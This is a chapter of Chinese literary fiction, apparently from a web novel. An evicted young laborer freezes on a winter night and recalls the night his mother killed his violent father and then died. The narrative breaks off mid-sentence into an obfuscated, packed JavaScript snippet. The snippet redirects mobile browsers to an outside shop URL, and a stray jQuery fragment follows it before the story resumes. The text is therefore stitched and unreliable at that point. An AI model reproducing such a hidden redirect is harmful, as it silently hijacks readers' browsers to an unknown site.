北方的冬天还是一如既往地冷得让人当头一棒,天上飘着,地上堆起的白茫茫一片。许余把手上那个有点破旧的大包往地上一扔,对着自己冻得有点僵的手哈了口热气,想着暖一下手,只是这点一逝而过的温热压根不够。
他拉紧了自己的羽绒服,把帽子的扣子扣上再往下压,从头到脚裹严实了,再从大包里抽出条深棕色围巾,对着自己的头再围上了一圈。
从别人的角度看,貌似有点滑稽。
像是顶着个马蜂窝。
巷子口有小孩拿着烟花到处跑,你追我赶,嬉笑打闹,新春佳节的景象跟他格格不入,路过的人无一不筋惕地看着他,抱紧自己的小孩快速走过。
算起来,这是他来到青岛的第四个年头,今年他刚好十八。
庆祝2002年到来的这一声儿,路过每家每户在他们的电视机里都能听见。
按道理来说,他也应该要适应这边的气候,只是多少还是高估了自己。
他还是不太习惯。
许余找了个遮雪的角落,只是看着这顶上的屋檐好像有些兜不住下得频繁的厚雪,他在想如果这屋檐支撑不住,自己后半夜会不会被这厚雪给埋了。
没办法,许余也没有别的去处,今天下午的时候被房东赶出来,他所在的工地快三个月没发工资,他去催了几次都被包工头连骂带踹赶了出来。
“就你事儿多,就你急用钱?你看看这工地上哪个不是急用钱的,我儿子上学的钱都还没有着落呢,你问我要钱,问你妈要去。”
他催不动,房东可不管那么多。
“我理解你谁理解我,大兄弟我看你也是个讲道理的,你说钱拖着我也已经松了你两个月房租,你总不能一直不给我吧。”
“算了算了,之前的我也懒得跟你计较,你看看你有什么东西能抵给我的多少也让我别亏那么多,下午就搬出去,我已经租出去了。”
许余抓着铁门的手指紧得泛白,他半张着嘴,扯出两声笑意,只是这笑干得磕碜,:“张叔,这大冬天的,你把我赶出去我不得冻死吗,能不能通融一下,再多留我一个月,我找到工作拿到钱一定双倍还给你。”
张叔慈目再也维持不住,脸上换成凶狠又带了点不屑,“我不管你,够仁至义尽了我,就下午赶紧的搬出去,你不搬我就找人扔出去!”——这话扔下之后,张叔冒着一身火气走了,一边走还一边嘟囔着骂人的话。
许余看了两眼屋檐,把包扔到了角落,自己进到了这屋。
他原本想卖个可怜,求人收留两晚,走进来才发现是废弃的屋子,屋的前门是正常的,里面四面漏风。
但好歹是个屋子,他不至于在外面生挨冻。
他把包拿了进来,开始折腾收拾出一片干净的地儿今晚睡觉。
地面弄干净,许余拿报纸一张一张摊开叠上去,再抽出两张被子垫在上面,干了一会儿身上也热了起来,他钻进被窝更暖和了些。
这边的夜晚来得快,本来外头的街面还有些小孩儿的吵闹声儿,现在是真的彻底安静下来。
也好。
许余也挺久没那么安静待过了,原来住的地方,楼上楼下有小孩,隔壁屋还有人做事,一到晚上都吵闹得很,早上楼下有吆喝声,打牌的,吵架的都有。
后半夜,不知道是不是错觉,好像越发地冷,冷得许余有些睡不着觉。他撑着起了身,从包里捣鼓出两根红蜡烛,是张叔嫁女儿的时候买的,他悄悄顺了几根,现在倒是派上用场了。
他点上了一根,烛光亮起周围的一切都看得见,许余也觉得被火晃了两下,手没有那么僵硬。
烛光似个活跃的皮猴,这里窜两下那里窜两下,生怕自己不灭一样,许余看着这光,那点疲惫,不安和紧绷有了缝可以让它们悄悄溜出去一阵儿。
恍惚间,他好像透过这点红里又泛了点黄的烛光看见了妈。
他的妈妈。
许余想起了自己在工地上时,工友的小孩儿在棚里等他爸下工,自己一个人在那看书。看的是一本故事书,里面有个故事叫做《卖火柴的小女孩》。
点上一根火柴,看见了她奶奶,所以她一直点。
其实她是要死了。
那是死之前的幻觉。
也许他也要死了,在这里这么些年,不是没有见过被冻死的人。
这样想好像也释然,若是死前妈能来他的梦里,他就高兴,死也不可怕了。
思绪一溜烟地飞出了脑子,带着许余回到了1998年的那个晚上。
那年,他14岁。
印刷厂的工人下班儿,他也放学,跟在人涌前进,远远地就看见路边有个推着车的小贩,这条路上有许多小贩,为的就是赚下班工人的钱,这个工厂大多都是男人,没结婚的家里就没人做饭,自己也懒得折腾,就会在路上买点随便对付两口。
许余看见有卖花生酥的。
他记得妈爱吃,摸了摸口袋里偷爸想要拿去赌的那点钱,朝着旁边挤了过去买了一盒。
天边一点点暗下来,许余挂念着妈一个人在家怕黑朝着家一路狂奔,一想到妈看到花生酥会高兴,他也心情好。
只是这点心情,在快回到家的时候化为乌有。
那个人今晚从牌桌回来了。
屋子里,又开始了咽呜的哭泣,还有难以入耳的咒骂声。
许余脑子里一片空白,等他反应过来的时候,他的头冒血滑到了眼角,妈手里都是血,躺在地上奄奄一息,他从来没见过妈那么虚弱过,看着爸的眼神里也是从来没见过的狠戾,而她的手上拿着一把挂满了刺眼的红。
脑子里的那点空白被画上,填补了色彩。
他原本是进来制止的,爸打上了头,抄起木凳子就开始打他,往死里打,妈见状爬了起来,眼里的怯懦被恨意掩盖,拿出了刀捅了爸,数连捅了好几下。但是没用,并没有捅到致命点,所以轻而易举被爸压制了,爸抢过刀捅了一下妈,妈额头的青筋凸起,她疼得叫不出声。
许余顾不上头上还留着血,从后面用臂弯勒住了爸的脖子,他已经是个小伙子,力气自然比老是混迹在洗头房和牌桌上身体早已虚空的爸大些。
爸挣扎着翻了点白眼,但仅仅也只是翻了白眼,他已经快要没有力气压制住爸,可潜意识里却在不停地在他耳边念。
用力点,再用力点!掐死他,掐死他!
求生的意志力强大得很,爸也只是翻了一下白眼的功夫,又开始猛烈地挣扎。
但也只是一下,爸只猛烈挣扎了一下。
许余的视线时而模糊又时而清晰,他看见妈拿着刀一下一下,一下又一下插进了爸的身体。
泄愤似的,在发泄这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770160|209878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些年来的痛苦与愤怒。
等到两个人都精疲力尽之后,两个人才一个躺在了地上,一个瘫在了地上。
妈不喜欢他,他一直都知道。
因为他身上流着的是这个人的血,妈恨这个人却不敢真正表现出来,只是一遍一遍地对他用最狠的话。
“都是因为你,要不是你老娘早跑了!”
“你冲上来干什么,让你爸打死我!”
“滚!我不想看见你滚!”
这是妈常对他说的话。
其实他也想妈跑,不带他也没关系,跑得远远的就行。
他跟妈这样说。
“让我跑然后被你爸发现又打一顿是不是,你可真是妈的好儿子。”
他一直都不明白的点在今天似乎有了答案,妈其实也在保护他的对吗。
他其实也是有妈爱的对吗。
妈躺在血泊中,呼吸一下比一下虚。
许余慌了神,一脚踹开了他爸的尸体,手脚并用地爬到了妈的身边,“妈……妈……去医院,我们,我们去医院。”
他哭了,在有记忆开始,他很少哭,永远都是一幅恶狠狠的模样,因为他的伙伴告诉他,只有凶狠才能震慑住别人。
可现在他哭得抽气,眼泪和脸上的灰土,血混在了一起,像是带了个肮脏的面具。
妈伸出手,他把人扶了起来。
紧接着他翻了一下爸的口袋只找到了50块。
真是难得,一个赌鬼身上还能留钱。
妈伸出那只沾满了血的手,忍着痛颤巍着从床底下淘出了一个钱袋子,塞到了许余手里。
“你爸,是我杀的。你走,快走……”
“这里的钱,是我给你,给你攒的学费。”
“重新……重新找个地方读书,别学你爸。”
“祸害……”
“祸害……”
妈的声音一声比一声低,许余知道妈撑不住了。
他再也忍不住地失声痛哭,像是要把之前憋住的泪一次性在这一夜流个精光,埋在妈的脖颈处,像小时候看着别人有妈妈抱着的小孩儿那样。他小的时候老是羡慕的眼神看着别人,因为妈不喜欢抱他,他只能想象,妈妈的肩膀应该是暖暖的,脖颈是香香的。
但是现在,妈身上只有血腥味,身体是凉的。
他冷静得快,只是安安静静地在妈身边陪着,一直到快四点钟时,才起身给妈包好被捅得血流成河的伤口,擦干净妈身上的血渍换上了一身干净的衣裳,是妈最喜欢的那件粉色碎花,妈给他开家长会的时候穿。
做完一切快五点了,妈安安静静地躺着,就像睡着了一样,面容祥和,不用再担心睡着的时候被人提起来打骂。
许余看着血泊中的那具尸体,坐在床边骤然起身,给尸体挪到了妈的窗前,摆出了跪着的姿态。
蜡烛燃掉了半根,他也感觉到自己的身体好凉,沉重的眼皮也僵,僵得睁不开。
迷蒙间,妈好像真的进到了他的梦。
梦里的妈妈没有鼻青脸肿,没有伤口,年轻明媚,穿着那身淡粉色的碎花衣裳,扎着两条麻花辫笑得灿烂。
好。
死了好。
他不用再奔波了。
他能跟妈团聚了。
他能听到妈骂他杂种了。
真好。